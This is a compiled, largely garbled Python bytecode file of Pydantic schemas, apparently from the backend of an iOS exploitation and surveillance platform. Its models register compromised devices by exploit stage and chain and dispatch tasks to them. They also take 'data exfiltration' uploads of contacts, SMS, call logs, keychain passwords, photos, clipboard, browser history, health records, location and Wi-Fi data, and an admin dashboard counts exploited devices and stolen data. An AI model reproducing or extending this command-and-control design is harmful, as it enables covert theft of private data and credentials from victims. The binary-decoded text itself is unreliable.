+
    Dd>jM                        R t ^ RIHt ^ RIHtHtHtHt ^ RIHtH	t	H
t
  ! R R]4      t ! R R]4      t ! R R	]4      t ! R
 R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R  R!]4      t ! R" R#]4      t ! R$ R%]4      t ! R& R']4      t ! R( R)]4      t ! R* R+]4      t ! R, R-]4      t ! R. R/]4      t  ! R0 R1]4      t! ! R2 R3]4      t" ! R4 R5]4      t# ! R6 R7]4      t$ ! R8 R9]4      t% ! R: R;]4      t& ! R< R=]&4      t' ! R> R?]&4      t( ! R@ RA]&4      t) ! RB RC]&4      t*RD# )Eu   Pydantic 数据模型和验证)datetime)OptionalListDictAny)	BaseModelField	validatorc                   (  a  ] tR t^
t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! R^ ^dRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R  ltR!t V t!R# )"DeviceRegisteru   设备注册请求.   设备唯一标识符descriptionNu   设备型号u	   iOS版本u   芯片型号u   用户代理   Exploit阶段u
   Exploit链u   运行时类型Fu   是否支持PACu   PAC完整性u   屏幕分辨率   电池电量geler   u   网络类型   纬度   经度   海拔   精度   电话号码IMEIu	   序列号u   iCloud账户u   设备名称u   语言环境u   时区   额外信息c                  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R	&   S[S[,          ;R
&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[S[ S[3,          ,          ;R&   # )   device_uuiddevice_modelios_versionchipset
user_agentexploit_stageexploit_chainruntime_typehas_pacpac_integrityscreen_resolutionbattery_levelnetwork_typelatitude	longitudealtitudeaccuracyphone_numberimeiserial_numbericloud_accountdevice_namelocaletimezoneextra)strr   boolintfloatr   r   )format__classdict__s   "4/Users/wind/Downloads/Coruna-main/backend/schemas.py__annotate__DeviceRegister.__annotate__
   s    F  3-I  #E	 
 c]D  G  C=K  C=H  3-L  d^I  D>K   }Q  C=X  3-I  uoA   B! " uoA# $ uoA% & 3-I' ( 3-9) * C=G+ , SMK- . #H/ 0 SMC1 2 sm?3 4 DcN#M5      )"__name__
__module____qualname____firstlineno____doc__r   r   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   r.   r/   r0   r1   r2   r3   r4   r5   __annotate_func____static_attributes____classdictcell__r;   s   @r<   r   r   
   sD    S.EFK"'."IL!&t!EK"4^DG %d GJ#(?#KM#(<#HM"':K"LL#E7HIG$)$N$KM',T?P'Q#(!#XM"'."IL %d AH!&t!BI %d AH %d AH"'."IL&9D#(;#GM$)$N$KN!&t!HK!$NCF#Dh?H&+Dn&ME5  r?   r   c                      a  ] tR t^'t o Rt]! RRR7      t]! RRR7      t]! R^ ^dRR	7      t]! RR
R7      t	]! RRR7      t
V 3R ltRtV tR# )DeviceHeartbeatu   设备心跳请求.r   r   onlineu   设备状态Nr   r   r   r   c                   < V ^8  d   Qh/ S[ ;R&   S[ ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[S[ S[3,          ,          ;R&   # )r   r   statusr(   r"   r5   r6   r   r8   r   r   )r:   r;   s   "r<   r=   DeviceHeartbeat.__annotate__'   sY     F  =  C=X	 
 C=K  DcN#M r?   r@   )rA   rB   rC   rD   rE   r   r   rN   r(   r"   r5   rF   rG   rH   rI   s   @r<   rK   rK   '   sP     S.EFKn=F#(!#XM#(?#KM&+Dn&ME  r?   rK   c                      a  ] tR t^0t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
V 3R
 ltRtV tR# )DeviceLocationUpdateu   设备位置更新.r   r   r   r   Nr   r   c                v   < V ^8  d   Qh/ S[ ;R&   S[;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   # )r   r   r*   r+   r,   r-   )r6   r9   r   )r:   r;   s   "r<   r=   !DeviceLocationUpdate.__annotate__0   sL     F  6  7	 
 uoA  uoA r?   r@   )rA   rB   rC   rD   rE   r   r   r*   r+   r,   r-   rF   rG   rH   rI   s   @r<   rR   rR   0   sL     S.EFKCX6HSh7I %d AH %d AH  r?   rR   c                   D   a  ] tR t^9t o Rt ! R R4      tV 3R ltRtV tR# )	DeviceOutu   设备输出模型c                       ] tR t^gtRtRtR# )DeviceOut.ConfigTr@   NrA   rB   rC   rD   from_attributesrG   r@   r?   r<   ConfigrX   g       r?   r[   c                D  < V ^8  d   Qh/ S[ ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R	&   S[;R
&   S[S[,          ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R &   S[S[ ,          ;R!&   S[S[ ,          ;R"&   S[S[ ,          ;R#&   S[S[ ,          ;R$&   S[S[S[S[3,          ,          ;R%&   S[S[,          ;R&&   S[ ;R'&   S[ ;R(&   S[ ;R)&   S[ ;R*&   S[S[,          ;R+&   # ),r   idr   r   r   ios_version_numericr    r!   
ip_address	last_seen
created_atfirst_exploit_atrN   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   location_updated_atr.   r/   r0   r1   r2   r3   r4   total_memoryavailable_memory
total_diskavailable_diskr5   notestotal_taskscompleted_tasksfailed_taskstotal_exfillast_activity)r8   r6   r   r   r7   r9   r   r   )r:   r;   s   "r<   r=   DeviceOut.__annotate__9   s    G    3-	 
 #  "#&  c]          x((  K  C=   C=    3-! " M# $ D>!% &  }$' ( C= ) * 3-+ , uo- . / 0 uo1 2 uo3 4 "(++5 6 3-7 8 3-9 : C= ; < SM!= > #? @ SMA B smC D 3-E F sm#G H I J SM!K L DcN##M N C=O P Q R S T U V W X H%%Y r?   r@   N	rA   rB   rC   rD   rE   r[   rF   rG   rH   rI   s   @r<   rV   rV   9   s     Z ]  r?   rV   c                      a  ] tR t^mt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! ^ RR7      t	]! R	R
R7      t
]! RRR7      tV 3R ltRtV tR# )
TaskCreateu   创建任务请求.
   设备UUIDr      任务类型N   任务载荷	   优先级,     超时时间   任务元数据c                   < V ^8  d   Qh/ S[ ;R&   S[ ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[S[ S[3,          ,          ;R&   # )r   r   	task_typepayloadprioritytimeout_secondsmetadatarO   )r:   r;   s   "r<   r=   TaskCreate.__annotate__m   sj     ;  ;  c]D	 
 sm?  c]K  tCH~&S r?   r@   )rA   rB   rC   rD   rE   r   r   r{   r|   r}   r~   r   rF   rG   rH   rI   s   @r<   rr   rr   m   sX     Sl;K3N;I"4^DG#A;?H%*3N%KO).tAR)SH  r?   rr   c                      a  ] tR t^wt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! ^ RR7      t	]! R	R
R7      t
]! RRR7      tV 3R ltRtV tR# )TaskBatchCreateu   批量创建任务.u   设备UUID列表r   rt   Nru   rv   rw   rx   ry   c                   < V ^8  d   Qh/ S[ S[,          ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[S[S[3,          ,          ;R&   # )r   device_uuidsr{   r|   r}   r~   r   )r   r6   r   r8   r   r   )r:   r;   s   "r<   r=   TaskBatchCreate.__annotate__w   sn     s)H  ;  c]D	 
 sm?  c]K  tCH~&S r?   r@   )rA   rB   rC   rD   rE   r   r   r{   r|   r}   r~   r   rF   rG   rH   rI   s   @r<   r   r   w   sY     #C5GHL3N;I"4^DG#A;?H%*3N%KO).tAR)SH  r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
V 3R
 ltRtV tR# )
TaskResultu   任务结果提交.   任务IDr   u   任务状态Nu   任务结果u   错误消息u   结果元数据c                   < V ^8  d   Qh/ S[ ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[S[S[3,          ,          ;R&   # )r   task_idrN   resulterror_messager   )r8   r6   r   r   r   )r:   r;   s   "r<   r=   TaskResult.__annotate__   sY     5  8  SMC	 
 C=J  tCH~&S r?   r@   )rA   rB   rC   rD   rE   r   r   rN   r   r   r   rF   rG   rH   rI   s   @r<   r   r      sL     *5G8F!$NCF#(>#JM).tAR)SH  r?   r   c                   D   a  ] tR t^t o Rt ! R R4      tV 3R ltRtV tR# )TaskOutu   任务输出模型c                       ] tR t^tRtRtR# )TaskOut.ConfigTr@   NrY   r@   r?   r<   r[   r      r\   r?   r[   c                T  < V ^8  d   Qh/ S[ ;R&   S[;R&   S[;R&   S[S[,          ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R&   S[S[,          ;R	&   S[S[,          ;R
&   S[ ;R&   S[ ;R&   S[ ;R&   S[S[S[S[3,          ,          ;R&   S[S[ ,          ;R&   # )r   r^   r   r{   r|   rN   r   r   rb   
started_atcompleted_atr}   retry_countr~   r   parent_task_idr8   r6   r   r   r   r   )r:   r;   s   "r<   r=   TaskOut.__annotate__   s     G    N	 
 c]  K  SM  C=     ""  8$$  M      tCH~&&   SM!! r?   r@   Nrp   rI   s   @r<   r   r      s     " %  r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )ExfilUploadu   数据外泄上传.rs   r   u   数据类别N   文件路径u   描述   文件大小u   内容（base64编码）u
   MIME类型	   元数据u   关联任务IDc                  < V ^8  d   Qh/ S[ ;R&   S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[S[ S[3,          ,          ;R&   S[S[,          ;R	&   # )
r   r   categorypathr   	file_sizecontent	mime_typer   r   rO   )r:   r;   s   "r<   r=   ExfilUpload.__annotate__   s     ;  :  3-A	 
 #B  }F  c]P  }D  tCH~&M  c]F r?   r@   )rA   rB   rC   rD   rE   r   r   r   r   r   r   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r      s}     Sl;K#>:H.AD!&t!BK$T~FI"45OPG$T|DI).t)MH"45EFG  r?   r   c                   D   a  ] tR t^t o Rt ! R R4      tV 3R ltRtV tR# )ExfilOutu   数据外泄输出c                       ] tR t^tRtRtR# )ExfilOut.ConfigTr@   NrY   r@   r?   r<   r[   r      r\   r?   r[   c                @  < V ^8  d   Qh/ S[ ;R&   S[;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R	&   S[;R
&   S[S[S[S[3,          ,          ;R&   S[S[ ,          ;R&   # )r   r^   r   r   r   r   r   	file_pathcontent_previewr   rb   r   r   r   )r:   r;   s   "r<   r=   ExfilOut.__annotate__   s     G    M	 
 3-  #  }  }  c]"  }    tCH~&&  c] r?   r@   Nrp   rI   s   @r<   r   r      s        r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      tV 3R ltRtV tR# )DeviceLogCreateu   设备日志创建.rs   r      阶段   状态N   消息u   耗时（毫秒）r   INFOu   日志级别c                   < V ^8  d   Qh/ S[ ;R&   S[ ;R&   S[ ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[S[ S[3,          ,          ;R&   S[ ;R&   # )r   r   stagerN   message
elapsed_msr   	log_levelrO   )r:   r;   s   "r<   r=   DeviceLogCreate.__annotate__   ss     ;  1  2	 
 c]>  M  tCH~&M  > r?   r@   )rA   rB   rC   rD   rE   r   r   r   rN   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r      sd     Sl;Ks1E2F"4X>G %d8L MJ).t)MH6~>I  r?   r   c                   D   a  ] tR t^t o Rt ! R R4      tV 3R ltRtV tR# )DeviceLogOutu   设备日志输出c                       ] tR t^tRtRtR# )DeviceLogOut.ConfigTr@   NrY   r@   r?   r<   r[   r      r\   r?   r[   c                   < V ^8  d   Qh/ S[ ;R&   S[;R&   S[;R&   S[;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[;R&   S[S[S[S[3,          ,          ;R&   S[;R	&   # )
r   r^   r   r   rN   r   r   rb   r   r   r   )r:   r;   s   "r<   r=   DeviceLogOut.__annotate__   s     G    J	 
 K  c]      tCH~&&  N r?   r@   Nrp   rI   s   @r<   r   r      s        r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )ContactDatau   联系人数据.rs   r   N   显示名称u   电话号码列表u   邮箱列表u   地址列表u   组织u   职位u   生日   备注u   联系人IDc                  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[S[S[ S[ 3,          ,          ,          ;R&   S[S[S[S[ S[ 3,          ,          ,          ;R&   S[S[S[S[ S[ 3,          ,          ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[ ,          ;R	&   S[S[ ,          ;R
&   # )r   r   display_namephone_numbersemails	addressesorganization	job_titlebirthdayri   
contact_id)r6   r   r   r   r   )r:   r;   s   "r<   r=   ContactData.__annotate__   s     ;  3-I  Dc3h01a	 
 T$sCx.)*T  T#s(^,-W  3-C  }@  x D  C=<  F r?   r@   )rA   rB   rC   rD   rE   r   r   r   r   r   r   r   r   r   ri   r   rF   rG   rH   rI   s   @r<   r   r      s     Sl;K"'."IL49$L`4aM-24^-TF05d0WI"'("CL$Tx@I#(8#DH 8<E %d FJ  r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      t]! RRR7      t]! RRR7      t]! ^ RR7      tV 3R ltRtV tR# )SMSDatau   短信数据.rs   r   Nu	   发送者u	   接收者u   短信内容u   发送时间u   阅读时间u   消息IDFu   是否已读u   是否发送u   附件数量c                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[;R&   S[;R	&   S[;R
&   # )r   r   sender	recipientbody	date_sent	date_read
message_idis_readis_sentattachment_count)r6   r   r   r7   r8   )r:   r;   s   "r<   r=   SMSData.__annotate__   s     ;  SM@  }C	 
 3-A  !K  !K  C  <  <  @ r?   r@   )rA   rB   rC   rD   rE   r   r   r   r   r   r   r   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r      s     Sl;K!$K@F$T{CI.AD$)$N$KI$)$N$KI %d
 CJ%^<G%^<G!!@  r?   r   c                      a  ] tR t^t o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t	]! RR	R7      t
]! RR
R7      t]! RRR7      tV 3R ltRtV tR# )CallDatau   通话数据.rs   r   Nr   u   通话类型u   通话时长（秒）u   通话时间u   联系人名称u   通话地点c                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   # )r   r   r.   	call_typedurationdate_calledcontact_namelocation)r6   r   r8   r   )r:   r;   s   "r<   r=   CallData.__annotate__   sw     ;  3-I  }F	 
 smN  (#M  3-L  smE r?   r@   )rA   rB   rC   rD   rE   r   r   r.   r   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r      se     Sl;K"'."IL$T~FI#D6MNH&+Dn&MK"':K"LL#DnEH  r?   r   c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )KeychainDatai  u   钥匙串数据.rs   r   Nu   服务名称u	   账户名   密码u   标签   创建时间   修改时间u	   访问组u   访问权限c                  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R	&   # )
r   r   serviceaccountpasswordlabelcreation_datemodification_dateaccess_group
accessible)r6   r   r   )r:   r;   s   "r<   r=   KeychainData.__annotate__  s     ;  c]D  c]A	 
 sm?  C=<  H%O   )S  3-F  G r?   r@   )rA   rB   rC   rD   rE   r   r   r   r   r   r   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r     s|     Sl;K"4^DG"4[AG#Dh?H 8<E(-d(OM,1$N,S"'+"FL %d GJ  r?   r   c                     a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )	PhotoDatai  u   照片数据.rs   r   Nu   相册名称r   u	   文件名r   u   宽度u   高度u   方向u   拍摄时间r   u   位置信息c                T  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R	&   S[S[,          ;R
&   S[S[S[ S[3,          ,          ;R&   # )r   r   
album_namer   	file_namer   widthheightorientation
date_takendate_modifiedr   )r6   r   r8   r   r   r9   )r:   r;   s   "r<   r=   PhotoData.__annotate__  s     ;  G  }F	 
 }C  }F  C=<  SM=  #B  "L  H%O  tCJ'(R r?   r@   )rA   rB   rC   rD   rE   r   r   r   r   r   r   r   r   r   r   r   r   rF   rG   rH   rI   s   @r<   r   r     s     Sl;K %d GJ$T~FI$T{CI$T~FI 8<E!$H=F!&t!BK%*4^%LJ(-d(OM+0>+RH  r?   r   c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	V 3R
 lt
RtV tR# )ClipboardDatai$  u   剪贴板数据.rs   r   Nu   剪贴板内容u   内容类型   应用名称c                z   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   # )r   r   r   content_typeapp_name)r6   r   )r:   r;   s   "r<   r=   ClipboardData.__annotate__$  sC     ;  c]G  3-I	 
 smE r?   r@   )rA   rB   rC   rD   rE   r   r   r   r  r  rF   rG   rH   rI   s   @r<   r   r   $  s@     Sl;K"45FGG"'."IL#DnEH  r?   r   c                     a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )AppDatarw   u   应用数据.rs   r   Nz	Bundle IDr   r   u   版本u   构建版本u	   包大小u   安装时间u   应用类别Fu   是否系统应用u   是否隐藏c                  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R	&   S[;R
&   S[;R&   # )r   r   	bundle_idr  r   versionbuild_versionbundle_sizeinstall_dateapp_categoryis_system_app	is_hiddenr6   r   r8   r   r7   )r:   r;   s   "r<   r=   AppData.__annotate__,  s     ;  }C  smE	 
 3-I  c]>  C=J  #E  8$N  3-I  H  > r?   r@   )rA   rB   rC   rD   rE   r   r   r  r  r   r  r	  r
  r  r  r  r  rF   rG   rH   rI   s   @r<   r  r  ,  s     Sl;K$T{CI#DnEH"'."IL"4X>G#(>#JM!&t!EK',T~'NL"'."IL3GHME~>I  r?   r  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )ProcessDatai;  u   进程数据.rs   r   Nu   进程名称u   进程IDu   父进程IDu   路径u   用户u   CPU使用率u   内存使用u   启动时间r   c                "  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R	&   S[S[ ,          ;R
&   # )r   r   namepidppidr   user	cpu_usagememory_usage
start_timerN   )r6   r   r8   r9   r   )r:   r;   s   "r<   r=   ProcessData.__annotate__;  s     ;  3-A  
#<	 
 3-@  3-;  3-;  H  3-I  "L  SM= r?   r@   )rA   rB   rC   rD   rE   r   r   r  r  r  r   r  r  r  r  rN   rF   rG   rH   rI   s   @r<   r  r  ;  s     Sl;K.ADt<C-@D(;D(;D!&t!HI"'."IL%*4^%LJ!$H=F  r?   r  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )WiFiDataiI  u
   WiFi数据.rs   r   NSSIDBSSIDu   安全类型r   u   信号强度u   频道u   频率Fu   是否已保存u   是否当前连接c                  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R	&   S[;R
&   # )r   r   ssidbssidsecurity_typer   signal_strengthchannel	frequencyis_saved
is_current)r6   r   r8   r7   )r:   r;   s   "r<   r=   WiFiData.__annotate__I  s     ;  3-9  C=;	 
 C=J  sm?  c]L  c]>  }@  @  E r?   r@   )rA   rB   rC   rD   rE   r   r   r!  r"  r#  r   r$  r%  r&  r'  r(  rF   rG   rH   rI   s   @r<   r  r  I  s     Sl;K&9D 7;E#(>#JM#Dh?H%*4^%LO"4X>G$Tx@I5.?@HU0DEJ  r?   r  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! ^R
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )BrowserHistoryDataiW  u   浏览器历史数据.rs   r   Nu   浏览器名称URL   标题u   访问次数u   最后访问时间u   首次访问时间Fu   是否收藏u	   图标URLc                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R&   S[S[ ,          ;R	&   # )
r   r   browser_nameurltitlevisit_countlast_visitedfirst_visitedis_bookmarkedfavicon_urlr  )r:   r;   s   "r<   r=   BrowserHistoryData.__annotate__W  s     ;  3-L  
#7	 
 C=<  ;  8$T  H%U  B  #E r?   r@   )rA   rB   rC   rD   rE   r   r   r/  r0  r1  r2  r3  r4  r5  r6  rF   rG   rH   rI   s   @r<   r+  r+  W  s~     Sl;K"':K"LLt7C 8<EQN;K',T?S'TL(-d@T(UM>BM!&t!EK  r?   r+  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )CalendarEventDataid  u   日历事件数据.rs   r   Nr-  u   地点   开始时间   结束时间Fu   是否全天r   u	   参与者u   重复规则u   提醒时间u   日历名称u   事件IDc                p  < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R&   S[S[ ,          ;R&   S[S[S[S[ S[ 3,          ,          ,          ;R&   S[S[ ,          ;R	&   S[S[,          ;R
&   S[S[ ,          ;R&   S[S[ ,          ;R&   # )r   r   r1  r   
start_dateend_dateall_dayri   	attendees
recurrencereminder_minutescalendar_nameevent_id)r6   r   r   r7   r   r   r8   )r:   r;   s   "r<   r=   CalendarEventData.__annotate__d  s     ;  C=<  sm?	 
 "L  x J  <  C=<  T#s(^,-T  G  smM  C=J  smA r?   r@   )rA   rB   rC   rD   rE   r   r   r1  r   r=  r>  r?  ri   r@  rA  rB  rC  rD  rF   rG   rH   rI   s   @r<   r9  r9  d  s     Sl;K 8<E#Dh?H%*4^%LJ#(>#JH%^<G 8<E05d0TI %d GJ&+Dn&M#(>#JM#DjAH  r?   r9  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )NoteDatait  u   笔记数据.rs   r   Nr-  u   内容u	   文件夹r   r   Fu   是否锁定u   笔记IDc                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[;R&   S[S[ ,          ;R&   # )	r   r   r1  r   foldercreated_datemodified_date	is_lockednote_id)r6   r   r   r7   )r:   r;   s   "r<   r=   NoteData.__annotate__t  s     ;  C=<  c]>	 
 SM@  8$N  H%O  >  c]@ r?   r@   )rA   rB   rC   rD   rE   r   r   r1  r   rI  rJ  rK  rL  rM  rF   rG   rH   rI   s   @r<   rG  rG  t  so     Sl;K 8<E"4X>G!$K@F',T~'NL(-d(OME~>I"4Z@G  r?   rG  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! RR	R7      t	]! RR
R7      t
]! RRR7      t]! RRR7      t]! RRR7      tV 3R ltRtV tR# )
HealthDatai  u   健康数据.rs   r   Nu   数据类型u   数值u   单位r:  r;  u   数据来源r   c                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[ ,          ;R&   S[S[S[ S[3,          ,          ;R&   # )	r   r   	data_typevalueunitr=  r>  sourcer   )r6   r   r9   r   r   r   )r:   r;   s   "r<   r=   HealthData.__annotate__  s     ;  }F  E?>	 
 3-;  "L  x J  SMC  tCH~&M r?   r@   )rA   rB   rC   rD   rE   r   r   rR  rS  rT  r=  r>  rU  r   rF   rG   rH   rI   s   @r<   rP  rP    so     Sl;K$T~FI"4X>E(;D%*4^%LJ#(>#JH!$NCF).t)MH  r?   rP  c                   X   a  ] tR tRt o Rt]! RRR7      t]! RRR7      tV 3R ltRt	V t
R	# )

AdminLogini  u   管理员登录.u	   用户名r   r   c                2   < V ^8  d   Qh/ S[ ;R&   S[ ;R&   # )r   usernamer   )r6   )r:   r;   s   "r<   r=   AdminLogin.__annotate__  s     7  4 r?   r@   N)rA   rB   rC   rD   rE   r   rZ  r   rF   rG   rH   rI   s   @r<   rX  rX    s'     #;7H#84H  r?   rX  c                   H  a  ] tR tRt o Rt]! ^ RR7      t]! ^ RR7      t]! ^ RR7      t]! ^ RR7      t	]! ^ RR7      t
]! ^ R	R7      t]! ^ R
R7      t]! ^ RR7      t]! ^ RR7      t]! ^ RR7      t]! ^ RR7      t]! ]RR7      t]! ]RR7      t]! ]RR7      tV 3R ltRtV tR# )
AdminStatsi  u   管理员统计u   总设备数r   u   在线设备数u   离线设备数u   已利用设备数u   总任务数u   待处理任务数u   运行中任务数u   已完成任务数u   失败任务数u   总外泄数据数u   总外泄数据大小u   最近设备default_factoryr   u   最近任务u   最近外泄数据c                   < V ^8  d   Qh/ S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R	&   S[ ;R
&   S[ ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   # )r   total_devicesonline_devicesoffline_devicesexploited_devicesrj   pending_tasksrunning_tasksrk   rl   total_exfil_counttotal_exfil_sizerecent_devicesrecent_tasksrecent_exfil)r8   r   rV   r   r   )r:   r;   s   "r<   r=   AdminStats.__annotate__  s     =  A  B	 
 G  ;  C  C  E  ?  G  I  O]  w-Y  x.` r?   r@   N)rA   rB   rC   rD   rE   r   ra  rb  rc  rd  rj   re  rf  rk   rl   rg  rh  listri  rj  rk  rF   rG   rH   rI   s   @r<   r]  r]    s     qn=M/@AN 0ABO"12FGQN;Kq.BCMq.BCM 0DEOa->?L"12FG!!1HI&+Dn&]N"'."YL#(K_#`L  r?   r]  c                      a  ] tR tRt o Rt]! RRR7      t]! RRR7      t]! RRR7      t]! ]	P                  R	R
